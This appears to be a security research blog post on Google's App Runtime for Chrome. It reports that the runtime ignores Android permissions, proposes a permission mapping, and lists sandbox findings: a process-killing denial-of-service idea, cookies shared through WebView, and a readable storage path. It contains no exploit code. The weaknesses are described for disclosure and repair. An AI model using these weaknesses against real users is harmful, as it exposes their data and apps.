Through our experiments, we observed that ** ARC does not respect Android permission model , i.e., a repackaged app has access to privileged operations even without declaring corresponding permissions. You can compile run the TestPermission app in the the above GitHub link to confirm this issue. When running on ARC, the app has Internet access even without declaring <uses-permission android:name="android.permission.INTERNET" /> in its manifest file.

Solutions

Given the issue, the first intuition is that ARC delegates permission checking to Chrome Runtime (together with permission enforcement for Chrome App). And I did found that the repackaging script adds every permission to the repackaged app, regardless of the actual permissions declared.

"permissions": [
    "gcm", {
       "socket": ["tcp-connect", "tcp-listen", "udp-bind", "udp-send-to", "resolve-host"]
    }, 
    "unlimitedStorage", 
    "notifications", 
    "clipboardRead", {
        "fileSystem": ["write"]
    }, 
    "https://clients2.google.com/", 
    "videoCapture", 
    "clipboardWrite", 
    "identity.email", 
    "alarms", 
    "storage", 
    "identity", 
    "audioCapture"
]

Therefore, the first solution is to build a map between Android app permissions to Chrome App permissions and instrument the repackaging script to scan for Android permissions first and declare only necessary Chrome permissions for the repackaged app.

Following this approach, there are two difficulties to be overcome:

1) Get the list of permissions honored by ARC

As the permissions declarable in the ARC environment might be different compared with the stock Android, we can not rely on the stock Android OS image for the permission list (plus there is no official document that provides an exhaustive permission list available for Android). This problem is tackled by dynamically probing PackageManager with the following code snippet:

getPackageManager().getPackageInfo("android", PackageManager.GET_PERMISSIONS);

This file lists the permissions available for ARC environment with protection level=dangerous, extracted by the app AndroidPermissionProber.

2) Manually map Android permissions to Chrome permissions

Unfortunately, this process cannot be automated because it requires a lot of domain knowledge. Although similar in nature, the two permission models are not designed the same way, by the same team, or to be used in the same scenarios, which creates a lot of mismatch between these two models. Based on my experiments and understanding, I finally ended up with the following mapping:

{
  "permission": {
    "android.permission.SYSTEM_ALERT_WINDOW": ["alarms", "notifications"],
    "android.permission.CAMERA": ["videoCapture"],
    "android.permission.INTERNET": [{"socket":["tcp-connect","tcp-listen","udp-bind",
                                               "udp-send-to","resolve-host"]}],
    "android.permission.NFC": ["copresence"],
    "android.permission.RECORD_AUDIO": ["audio", "audioCapture"],
    "android.permission.WRITE_EXTERNAL_STORAGE": ["storage", "unlimitedStorage"],
    "android.permission.ACCESS_FINE_LOCATION": ["location", "geolocation"],
    "android.permission.AUTHENTICATE_ACCOUNTS": ["identity"],
    "android.permission.USE_CREDENTIALS": ["identity"],
    "android.permission.MANAGE_ACCOUNTS": ["identity"]
  },
  "manifest": {
    "android.permission.BLUETOOTH": [{"bluetooth": {"socket": true, "low_energy": true}}],
    "android.permission.BLUETOOTH_ADMIN": [{"bluetooth": {"socket": true, "low_energy": true}}]
  }
}

Instrumenting the repackaging script to scan for Android permissions is trivial given the adbkit-apkreader library.

Future work

The above solution, although works in practice, might not be the best solution as it totally abandoned the GID/UID based permission model in Android OS. For example, an app with INTERNET permission is effectively being assigned with GID 3003. However, when we try to find the assigned GIDs for a no-permission app in ARC environment, we found that ARC assigns a lot more GIDs than necessary to the app!

Assigned GID in ARC environment (left) and assigned GID in stock Android OS (right).

For example, the same app TestAppID (without any permissions declared) is tested in ARC (left) as well as Android Emulator in Android SDK (right). It has normal GIDs in the Emulator but ARC assigns more GIDs (including GID 3003 representing INTERNET permission) to the app, which essentially allows the app to have INTERNET permission (as long as the outer Chrome permission allows).

I am currently unclear of the cause of this issue. I suspect that these GIDs are hard-coded into the ARC so that each app is automatically granted with these permissions. Such a design choice enables quick development and testing of core functions of ARC and reduces app crashes caused permission enforcement issues. However, this loophole, if not fixed, might grow to a more serious security issue once ARC gets popular. I believe it is worthwhile to have more investigations on this matter and fix it as soon as possible.

Inter-"Component" Interaction

Inter-"component" interaction here refers to the potential interactions between ARC app and (1) other ARC apps, (2) other Chrome extensions and apps, (3) webpages, and (4) the underlying OS.

I have been trying to launch attacks against ARC app from outside of ARC environment but encountered little successes. Therefore, I came to the general conclusion that there is no particular advantage gained by attacking the ARC model, because of ARC being heavily sandboxed.

Sandboxes of ARC environment

The intuition is that: in order for an ARC app to do any harm to other Chrome components (apps, extensions or webpages), it must break the NaCl sandbox and the Chrome app (renderer) sandbox. In other word, if there is a way that ARC app can leverage to break these sandboxes (for example, through JNI), it can always be translated to a break of Chrome app sandbox. Hence, there is no additional advantage gained by attacking Chrome from the ARC app.

In addition, following is a list of findings I have gained by experimenting with the ARC.

There is no app-to-app interaction on ARC. This implies that if an Android app is malicious on Android without cooperation from other apps, then when ported to ARC, the app is still malicious. And, if an Android app is malicious on Android but does requires cooperation from other apps (i.e., one can exploit vulnerabilities in ContentProvider of SMS app to steal messages). The app will not work on ARC because ARC is designed for single app settings and there will not be another SMS app installed.
Android rooting does not make much sense. Rooting or in broader term, system privilege escalation attack generally has two purposes: (1) extract hidden information (like information of other apps) or (2) gain additional capabilities (like networking). However, in ARC, (1) is not possible. And protected by Chrome permission model, (2) is not possible.
Chrome extension may cause launch of a DoS attack against ARC app, leveraging the chrome.processes API and repeatedly killing the NaCl process that hosts ARC. However, this feature can be used to kill any other processes (including webpages) and are not specific to ARC. One can play with this feature with the processes program in crx folder.
The system default browser will have the cookies generated and consumed by the ARC app if the ARC app uses WebView to browse for web contents. You can play with this feature with the cookies program in crx folder and the TestIntentBrowser app.
Data stored in both "internal" storage (phone storage) or "external" storage (SD card) are not safe. ARC will store these data in an obfuscated (but still understandable) filesystem and one may find these items in path {Chrome support folder}/Default/Storage/ext/{app id}/def/File System/ (For Mac OS).
ARC app may have access to OS Filesystem (via browser file chooser), but will not be able to modify them, i.e. ARC will first copy these items to a different location and feed the app with the copy instead of the original file.

Proofread by Sanidhya Kashyap and Taesoo Kim.